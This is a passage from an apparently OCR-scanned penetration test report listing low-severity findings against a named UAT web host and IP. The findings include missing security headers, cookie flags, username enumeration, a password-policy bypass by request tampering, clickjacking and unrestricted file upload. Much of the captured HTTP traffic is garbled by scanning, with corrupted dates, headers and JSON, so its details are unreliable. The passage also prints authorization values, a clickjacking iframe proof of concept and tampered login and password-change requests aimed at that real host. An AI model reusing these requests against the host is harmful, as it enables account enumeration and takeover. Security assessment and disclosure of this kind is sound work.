thereby forcing continued use of a secure connection. (Note that web browsers will only honor this header
when delivered over a trusted, secure connection.) This header cannot completely defend against man-in-
the-middle attacks, but providing that the user has previously visited the site without outside interference,
it can be useful in defending against an attack in which an attacker establishes an encrypted connection to
the application and presents an unencrypted fraudulent service to the user, as the user’s browser will know
not to use the unencrypted service. This type of attack has become more prevalent and has received
widespread media attention following the publishing of the easy-to-use SSLStrip attack tool.

The X-Content-Type-Options HTTP header can be used to prevent web browsers from using content sniffing
to discover a file’s MIME type. This header, when set, can help protect against Cross-Site Scripting attacks.

The Cache-Control HTTP header provides control over how pages can be cached either by proxies or a
user's browser. Using this response header can provide enhanced privacy by ensuring that sensitive content
is not cached in a user’s browsers or intermediary proxy, where it could potentially be recovered by an
attacker.

Instance:

WL [ HostName | ___IPAddress

https://mobil- ] 172.105.61.152 -
uat.bizgaze.app S




Details:

PROPRIETARY

Responses of the application are missing best practice security headers:

1) X-Content-Type-Options
2) Strict-Transport-Security
3) Cache-control

4) X-Frame-Options

Implication:

Q==
Request Response
Pretty Raw Hex EN] n = Pretty Raw Hex n =
1 GET FTTPN..]. 200 0K
fapis/vd/unibase/platform/analytics/viewvertypes/reportid/ 2 Server: nginx/1.28.0
105030580001148 HTITP/Ll.1 3 Date: Mom, Z1 Jul 0I5 1B:Z6:54 GMT
2 Host: mobil-uat.bizgaze.app 4 Content-Type: application/json; charsec=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xé&4; = Connection: keep-alive
rv:139.0) Gecko/IZ0100101 Firefox/139.0 ¢ Vary: Accept-Encoding
4 Accept: w/w Content-Length: 1Z&2
¢ Accept-Lancuage: en-US,en;q=0.5 =
¢ Accept-Encoding: gzip, deflate, br CHR )
7 Contenc-Type: application/json "result":
Authorization: Basic 7cl€afef-d573-4cBf-SebB-7e6052blc3es "[{\"ViewerId\":106551000002148," "ViewerName'": " "Produc
Geoposition: null:null t Catalog "3c35a47-1490-43af-bBe7-7EE2£3B5b75\ ", \"Disp
10 PReferer: https://mobil-uat.bizgaze.app/ layName'": \"List\", '\ "Reporcld\":10503098000114%," "Viewe
11 | Sec-Fetch-Dest: empty rTypellame’ ":null,  "ViewerTypeld.":Z, " "DisplayModeTypeld
12 Sec-Fetch-Mode: cors ":1,%"ViewAll'":true, "PageSize'":20," "IsCardMode"":tx
132 Sec-Fetch-Site: same-origin ue,\"_TableName'":'"ww_unibaseanalytics viewertypesint
14 | Te: ctrailers o\" \"CreacedDate'": "0001-01-01T00:00:00"\", \"CreacedBy
15 E?E‘HEE‘E}_‘E‘}EH!‘,@_?R? re ":0, " "LastUpdatedBy " :0, \ "LastUpdatedDate’ " "0001-01~-
1€ 0lTOO0:00:00"", " "Stacusld\":1," " "ScatusName'":null, " "Tena
7 ntId\":0," "TenantName" ":null, "VersionGuid' ":null, "Rem
oteld'\":null, \"Scageld\":0, \"ScageName'":null}, (\"Viewve
r1d\":10&E551000002149, " "ViewerName' ":" "Product Catalogu
e\",\"DisplayName'": " "Mobile Card\",""ReportId\":105030
980001149, \"ViewerTypelName' ":null, \"ViewerTypeld ":2,\"
DisplayModeTypeld'.":3, "ViewAll ":true, "PageSize ":Z20,
"IsCardMode'": false,\"_ TableName\":\"vw_unibaseanalyt
ics _viewertypesinfo'", \"CreatecdDate’":\"0001-01-01TOOQ:0
0:00.", \"CreatedBy'":0, " "LastUpdatedBy'\":0," "LastUpdate
dDate’ " “0001-01-01TOD:00:00%",\"StatusId\":1l,\"Status
Name' ":null, "TenanclId " :0,\ "TenanctHame  ":null, "\ “Versio
nGuid" ":null, "\ "Remoteld  ":mall,  "Stageld'":0,""StagelNam
R T
“code":"0O",
"message":"",
"servicelName" null,
"status":0,
"errors”":null,
"totalRecords":0
}

The recommended HTTP security response headers provide a means for browsers to apply a stronger
security policy per application. As such, the application should set these security response headers to direct
browsers to apply the proper security settings for the duration of the application session.



PROPRIETARY
Recommendation:
Set the following HTTP headers:
* Strict-Transport-Security: max-age=31536000; includeSubDomains
* X-Content-Type-Options: nosniff

* Cache-control: no-store, no-cache
* X-Frame-Options: SAMEORIGIN

Additional Tester Input:

Reference:

CWE: 200
Defect ID: 67339

14. HitpOnly Cookie Flag Not Set | Score: Low

Description:

The HttpOnly keyword is a security feature to mitigate the possibility of a successful Cross-Site Scripting
attack by not allowing cookies with the HttpOnly attribute to be accessed via client-side scripts.

Instance:

___WRL_____ [ HostName | ___IPAddress

https://mobil- ] 172.105.61.152 -
ruat.bizgaze.app o
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Details:

The web application uses cookies that do not have the HttpOnly attribute set. This allows the cookies to be
accessed by client-side scripts, exposing it to scripting attacks.
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Implication:

Without the HttpOnly keyword set, the possibility exists that an attacker could leverage a Cross-Site
Scripting vulnerability to read, manipulate or steal any data contained within the cookie. This could
potentially allow an attack to steal a value such as a sessionID and impersonate a user within the
application.

Recommendation:

Recommendations include adopting a development policy that includes the utilization of HttpOnly cookies
and performing other actions such as ensuring proper filtration of user-supplied data, utilizing client-side
validation of user supplied data, and encoding all user supplied data to prevent inserted scripts being sent
to end users in a format that can be executed.

Additional Tester Input:

Reference:

CWE: 284
Defect ID: 67341
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15. Cookie Attribute - SameSite Atiribute Missing or
Misconfigured | Score: Low

Description:

The SameSite attribute restricts the browser from sending cookies in certain cross-site requests. A value of
"strict" or "lax" should be used for any session cookie to restrict it from being sent in unauthorized cross-
site request. The SameSite attribute restricts the browser from sending cookies in certain cross-site
requests. This can provide protection against cross-origin information leakage and Cross-Site Request
Forgery (CSRF) attacks. When set to "strict", the cookie will be sent with same-site requests only. When set
to the default value of "lax", the cookie will be withheld on cross-site sub-requests (i.e. load images,
iframes), but will be sent on any top-level navigation to a URL from an external site (e.g. following a link). In
the absence of the cookie attribute, browser vendors have implemented a default behavior of
SameSite=lax. However, as browser vendors may change the default behavior in future iterations we
recommend, as is customary, to explicitly set the value of this attribute for session cookies.

Instance:
| URL | HostName | IP Address
https://mobil-

. - 172.105.61.152 -
uat.bizgaze.app

Details:

The web application uses cookies that do not have the SameSite attribute set properly. This attribute helps
prevent cross-site request forgery (CSRF) attacks.
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Implication:

SameSite cookie protections provide an additional Defense in Depth countermeasure against Cross-Site
Request Forgery attacks. In the absence of this protection for session cookies, an application that may not
have full coverage against CSRF attacks may be vulnerable to unauthorized transactions on behalf of a user
visiting a malicious website. For example, an active session user visits http://attacker.org which contains
malicious scripts that sends POST requests to https://finance.exxonmobil.com

Recommendation:

In most cases, upon user logon applications should set post-authenticated session cookies with
SameSite=strict.

An additional guidance is provided for ExxonMobil “Cloud Ready” applications that integrate with the
enterprise Identity Providers (IdP), such as, Azure Active Directory (AAD), AuthO, and SAP Identity. These
applications may find it preferable to establish two session cookies one for pre-authentication status and
the other for post-authentication status. A SameSite=lax cookie may be used during pre-authentication to
track the anonymous user during the redirections to and from the IdP. Once the user has been
authenticated and identified a post-authentication cookie should be set with SameSite=strict to provide the
intended security protections of this cookie attribute.

As an advisement, there are rare occasions, applications are developed to be hosted within an iframe of
larger company web portal application. In those cases, the cookie should be set with SameSite=None to
ensure proper functioning of the application.

In all cases, proper Cross-Site Request Forgery countermeasures must be implemented to reduce the

likelihood of this attack in light of current, and future, browser capabilities that may lead to exploitation of
this vulnerability.

Additional Tester Input:

Reference:

CWE: 1275
Defect ID: 67342

16. Username Enumeration (Error Responses) | Score: Low

Description:

A different error is displayed to the end user when an invalid username is presented as opposed to a correct
username with an incorrect password.
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Instance:

R HostName | ___IPAddress

https://mobil- ) 172.105.61.152 -
uat.bizgaze.app ‘ -
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Details:

Different responses are provided for requests with valid and invalid emails. This can help an attacker
identify valid users, facilitating phishing attacks.

Login endpoint:

- Invalid username:

Request Response
Pretty Raw Hex wE n = Pretty Raw Hex Re
1 POET fhccount/ValidateAndLogin HTTP/1.1 1 HTTR/1.1 Z00 0K
2 Host: mobil-uat._bizgaze.app 2 Server: nginx/l.Z28.0
3 Cookie: _idey0=; _idtyl=; _cnames= 3 Date: Wed, 23 Jul Z0IZ5 00:06:18 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:135.0) Gecko/Z0100101 4 Content-Type: application/json; charset=utf-8
Firefox/135.0 z Connection: keep-aliwe
Accept: */% ¢ Access-Control-Allow-COrigin: *
Accept-Language: en-US,en;g=0.5 7 Wary: Accept-Encoding
Accept-Encoding: gzip, deflate, br = Content-Length: 85
Content-Type: application/json 5
Content-Length: 95 ' {
Referer: https://mobil-uat.bkizgaze.app/ "status":Z,
Origin: https://mobil-uat _hizgaze. app "seszions" null,
Sec-Fetch-Dest: empty "currentSession"-muall,
Sec—-Fetch-Mode: cors "message": "UserName doesn't match"
Sec-Fetch-8ite: same-origin }

Priority: u=0
Te: trailers
Connection: keep-aliwe

"UserName": "hugo.cosmetlBexfilsecurity. con",
"Password":"123456",

"TnibaseId" e

"RememberMe": false

- Valid username:

Request Response
Pretty Raw Hex w0 noo= Pratty Raw Hex Rende = ERU——
1 POST /JAccount/ValidateAndLogin HTTP/L.1 1 HITP/l.1 DD OK
- Host: mobil-uat bizgaze app 2 Berwer: nginx/l.78.0
3 Cockie: _idey0=; _idecyl=; _cnames= - Date: Wed, 22 Jul 2025 00:05:50 CHT
4 User-Agent: Mozillars5.0 (Windows NT 10.0; Wingd4. x&4; rv:139.0) GeckosI0100101 4 Contenc-Type: applications/json; charset=ucf-8
Firefox/129.0 - Connection: keep-alive
5 Accept: */* c Access—Control-Alleow-Origin: *
¢ Accept-Language: en-US.en;q=0.5 7 WVary: Accept-Encoding

Accept-Encoding: gzip, deflate, br Content-Length: 178
Content-Type: application/json
Content-Length: 357

Referer: https://mokil-uat.bizgaze.app/
Origin: https://mobil-uat.bizgaze.app
Sec—Fetch-Dest: empty "currentSession":null,

Sec-Fetch-Mode: cors "message":"Username or password do not match, you have only 2
Sec—Fetch-Site: same-origin }

Priority: u=0

Te: trailers

< Connection: keep-alive

attempts left. "

"UserName":
"Password
"Unibasel =
"Rememberle": false

"hugo.cosmefexfilsecurity. com",
456",

Password recovery endpoint:

- Invalid email:



Request isponse PROPRIETARY

Pretty Raw Hex w no= Pretty Raw Hex Render no=
1 POET faccount/sendotp HTTP/1.1 1 HTTP/Ll.1l 20D OK

5 Host: mobil-uat.bizgaze.app o Server: nginx/l.28.0

3 Cookie: _idoy0=; _idtyl=; _cnames= 3 Date: Wed, 23 Jul 2025 00:03:02Z GMT

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =x€4; rv:139.0) Gecko/Z0100101
Firefox/135.0

5. Aceept: *J%

¢ Accept-Language: en-US,en;q=0.5

Content-Type: applications/json; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: *

Vary: Accept-Encoding

7 Accept-Encoding: gzip, deflate, br 5 Content-Length: 201
5 Content-Type: application/json g
< Content-Length: 254 g |4
7 Referer: https://mobil-uat.bizgaze. app/index. html "resulc":0,
Origin: https://mobil-uat._bizgaze.app "code": og",
Sec-Fetch-Dest: empty "message": "Email/Phonenumber doss not exist in selected Tenant',
Sec-Fetch-Mode: cors "servicellame":null,
Sec-Fetch-Bite: same-origin "status"

Priority: wu=0 "errors"

=t

Te: trailers "Email/Phonenunber does not exist in selected Tenant"

Comnection: keep-alive 1.
"totalRecords":0

{ 1
"ContactOrBmail": "huga.cosmetl@exfilsecurity. com",
"LastName":"",

umber": "",

"hugo. cosmetl@exfilsecurity.con”,

"TenantName":-"",

"IsSignup":false,

"IsFargotPswd": false,

"IsRegisterUser":true,

"UnibaseId":"",

"TenantId": €81

- Valid email:

Request Response

Pretty Raw Hex = \n = Pretty Raw Hex

1 POST faccount/sendotp HTTP;’l.lI 1 HTTRP/1.1 200 OE

2 Host: mobil-uat. bizgaze. app 2 | Server: nginx/1.78.0

3 Cookie: _idoy0=; _idtyl=; _cnames= z Date: Wed, 23 Jul Z0IZ5 DD:03:14 GMT

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x£4; rv:135.0) Gecko/Z01l00101 Content-Type: application/json; charset=utf-8

Firefox/13%.0
5 Accept: */*

Connection: keep-alive
Access-Control-Allow-Origin: *

¢ Accept-Language: en-US,en;g=0.5 7 Wary: Accept-Encoding

7 Accept-Encoding: gzip, deflate, br 5 Content-Length: 187

2 Content-Type: application/json =l

5 Content-Length: I50 o |

10 Referer: https://mohil-uat.bizgaze. app/index_html "result":0,

Origin: https://mobil-uat_bizgaze. app "oode":"500O",
Sec-Fetch-Dest: empty "message":"Email or PhoneNumber is already registered!."
Sec-Fetch-Mode: cors "serviceName":null,
Sec-Fetch-Site: same-origin "status": I,

Priority: u=D
Te: trailers

"errors

[
"Email or Phonelumber is already registered!."

17 Connection: keep-alive 1

"totalRecords":0

i }
"ContactOrEmail":"hugo. cosmefexfilsecurity. com",
"LastName":"",
"ContactMumber":"",
"Email": "huge.cosmefexfilsecuricy.con",
"TenantName":""

"IsSignup": false,
"IsForgotPswd": false,
"IsRegisterUser":-true,
"UnibaseId":
"Oopld":0
"Userltp
"TenantId":

Implication:

By signaling to the end user whether the username is correct or not, you give an attacker the ability to
discover all usernames in the system through trial and error.

Recommendation:

A generic error message, such as "Invalid username or password" should be displayed in both cases.
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Additional Tester Input:

Reference:

CWE: 200
Defect ID: 67343

17. Weak Password Policy | Score: Low

Description:

A weak password policy makes it significantly easier for attackers to guess correct passwords on the
domain. They can also make it so that attackers can guess passwords without being locked out, therefore
allowing them to determine valid passwords on most accounts, given sufficient time.

Instance:

R [ HostName | ___IPAddress

https://mobil- i 172.105.61.152 -
Vuat.bizgaze.app , o ,




Details:

PROPRIETARY

The application’s server allows weak passwords such as "Password" or "Elephant” if the request is
intercepted and modified. This could allow an attacker to brute force a user’s account.

Request Response
Pretty Raw Hex w n Pretty Raw Hex

POST faccount/UpdatePassword HTTP/L1.1

- Host: mobil-uat. bizgaze.app

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; x64; rv:135.0) Gecko /20100101

Firefox/139.0

1 Accept: */*
c  Accept-Lancuage: en-US5,en;g=0.5
£ Accept-Encoding: gzip, deflate, br

© Content-Type: application/json

Content-Length: 132

5 Referer: https://mobil-uat. bizgaze.app/

Geoposition: null:null
Origin: https://mobil-uat_bizgaze._ app
SZec-Fetch-Dest: empty

3| Sec-Fetch-Mode: cors

4 Sec-Fetch-Site: same-origin

15 Authorization: Basic Taleldaa-ab21-4205-ba73-878haaS85fef
¢ Priority: u=0

1 HITPF1.1 Z00 OK
o Serwver: nginx/1l.28.0
z Date: Wed, I3 Jul 025 19:E52:21 GMT
2 Content-Type: application/json; charset=utf-8
5 Connection: keep-aliwve
¢ Access-Control-Allow-Origin: *

Vary: Accept-Encoding

o Content-Length: 129

{

"result":-null,

"oode":"0",

"message”: "Password Updated Successfully"”,
"servicelame" :null,

"status":0,

"errors":-null,

"totalRecords":0

17 Te: trailers 1

{
"Password": "Password",
"UserName":"17441598£fd7{74£3ab467251dbh4al0e33",
"Oepld":
"Userdep":"",
"OldPassword": "Elephant " ;
"IsPReset":true
}
Implication:
.

An attacker with some patience will be able to guess valid passwords on the domain, giving them valid
credentials for various services, from FTP accounts to domain administrators.

Recommendation:

Consider adding more password complexity, a minimum length of 8 characters, and a lockout policy.
As with all controls in the Process Control Network, this should be compared to the risk of the account in
question.

Additionally, service accounts should be hardened using Fine-Grained password policies. They should be
much longer (minimum 25 characters, in most instances), and can be set to not expire.

Additional Tester Input:

Reference:

NA
Defect ID: 67345
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18. Session Management - Allows Concurrent Sessions |
Score: Low

Description:

The application supports concurrent sessions, enabling an attacker who has compromised another user’s
credentials to make use of them without risk of detection.

Instance:
. WL | HostName | IP Address
https://mobil-

. - 172.105.61.152 -
uat.bizgaze.app

Details:

The application allows the use of concurrent sessions across different browsers. If a user’s account is
compromised, they will be unaware.
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Implication:

An attacker who has compromised another user's credentials could continue to use their session
undetected, increasing the likelihood of breaches in integrity and confidentiality.

Recommendation:

Consider invalidating current user sessions server-side upon subsequent user login. Notification can also be
made to the terminated session along with pertinent information such as the IP address of the new session
holder as well as contact information for the site’s security administration.
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Additional Tester Input:

Reference:

Defect ID: 67350

19. Frameable HTTP Response | Score: Low

Description:

A Frameable HTTP Response can allow an attacker to load the vulnerable application inside an unauthorized
hidden HTML iframe tag on a malicious page to carry out various attack scenarios.

Instance:

WL [ HostName | ___IPAddress

https://mobil- ] 172.105.61.152 .
\uat.bizgaze.app o |
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Details:

The web application can be loaded into an attackers frame, potentially enabling other attacks against the
application.

- HTML test file:

J— e g

€ clickjacking.html

_| clickiacking.html: Bloc de notas

Archivo Edicion Formato Ver Ayuda

<html>

<body>

<iframe src="https://mobil-uat.bizgaze.app” width="8@8" height="8e0">
</iframe>

</body>

</html>|

- Site loaded within a frame:



PROPRIETARY

clickjacking.html X +

C  (@File Cj/Users/HUGO/Downloads/clickjacking.html

Login

Sign in to your account and enjoy unlimited perks.

*H

Forgot Password?

|I
B
©

Already an existing user? Register Don't have an account yet? Create a Contact

Implication:

A Frameable HTTP Response weakness could allow an attacker to embed the vulnerable application inside
an iframe. Exploitation of this weakness could result in:

1. Exploitation of XSS vulnerabilities in a target web site.

2. Unauthorized rendering of sensitive content.

3. Determine if a user is logged on to the website, to mount other attack scenarios.

4. Hijacking of user events such as keystrokes.

5. Theft of sensitive information through phishing attacks.

6. Execution of privileged functionality through combination with Cross-Site Request Forgery attacks.
7. Clickjacking attacks.

The framed target site may be obscured from the user through a hidden iframe. Alternatively, the frame's
Ul can be redressed with a CSS Overlay to entice the user to interact with the malicious site. The victim
interaction events are actually triggered on the target site to carry out privileged functionality.
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Recommendation:

HTTP Response Framing can be mitigated through browser policy directives using X-Frame-Options or
Content-Security-Policy response headers. These headers have options that are not ubiquitously supported
across all major browsers. Therefore, some guidance is offered below to determine which header, value,
and options are appropriate for the given circumstance.

Restrict All Framing:
This is the most common case, in which applications do not rely on the use of parent/child iframes. In such
a case, emitting the below HTTP response header and value is sufficient.

X-Frame-Options: DENY

Note: This DENY configuration for the X-Frame-Options header is supported by all modern versions of the
major browsers (i.e., Microsoft Edge, Google Chrome, Mozilla Firefox).

Restrict Framing to Same Domain:

At times, an application may contain a child iframe from the same domain. For instance,
http://www.example.org/main.html may contain an iframe source of
http://www.example.com/frame.html. In such a case, the application must allow framing by the same
domain (e.g., http://www.example.com) and reject other domains. Emitting the below HTTP response
header will deliver the desired results.

X-Frame-Options: SAMEORIGIN

Note: This SAMEORIGIN configuration for X-Frame-Options header is supported by all modern versions of
major browsers as well.

Alternatively, the Content-Security-Policy header allows framing by multiple domains and is much more
effective in securing the application against framing chains. Support for wildcard subdomains are also
supported.

Content-Security-Policy: frame-ancestors 'self' https://www.somesite.org; https://www.othersite.com;

ExxonMobil primarily supports Microsoft Edge and Google Chrome browsers. As such, when framing is not
intended, "X-Frame-Options: DENY" is the most common configuration. This can be set in web server and
application in configuration files.

Apache:
Header always append X-Frame-Options DENY

IIS and ASP.NET web.config:

</httpProtocol>

<customHeaders>

<add name="X-Frame-Options" value="DENY" />
</customHeaders>

</httpProtocol>
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Additional Guidance:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors

Additional Tester Input:

Reference:

CWE: 79
Defect ID: 67352

20. Verbose Errors | Score: Low

Description:

While evaluating the application, verbose error messages were encountered that included significant
information regarding the system and component being tested.

Instance:

S URL | hosthame | P Address

https://mobil- . 172.105.61.152 -
uat.bizgaze.app . -




PROPRIETARY
Details:

The web application returns verbose errors on some endpoints when handling unexpected input. The errors
provide an attacker with insights into the application’s backend structure.
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Implication:

The danger from presenting verbose errors to the end-user comes from providing a potential attacker with
too much information about the system. Depending on the exact details in a verbose error message, it
could be determined what conditions caused the error, as well as potentially information about the back-
end database, and injection opportunities.

Recommendation:

Ensure that any error messages presented on screen do not include any sensitive information so as not to
provide a potential attacker with more information than is needed. Further error details should be logged to
a location available only to the support team, and not the general userbase.

Additional Tester Input:

Reference:

CWE: 200
Defect ID: 67357

21. Unrestricted File Upload | Score: Informational

Description:

The software allows files to be uploaded, however, the software does not have controls in place to prevent
uploading arbitrary files.

Instance:

R [ HostName | ___IPAddress

https://mobil- ] 172.105.61.152 -
uat.bizgaze.app S




PROPRIETARY
Details:

The web application does not restrict some types of files that can be uploaded. This could allow a user to
upload a malicious file that might impact others if they handle the file.

For instance, the application is validating the ".bat" file type only on the client side, allowing bypass through
request interception and modification. The risk is mitigated by the fact that access to the uploaded file
could not be verified.

B v 5 soeton

Implication:

Insufficient controls to protect file upload could lead to a variety of issues such as code execution in the
context of the server or client, Cross-Site Scripting, denial of service attacks, and more.

Recommendation:

It is recommended that the software utilize controls to ensure that uploaded files are of the correct type.
Some web applications utilize file type recognizers that check the type of the file before processing. For
example, image uploading functionality may go through an image type recognizer to ensure that an actual
image file is being uploaded. A whitelist for file extensions in combination with other protections is also
recommended.

Additional Tester Input:

Reference:

Defect ID: 67349



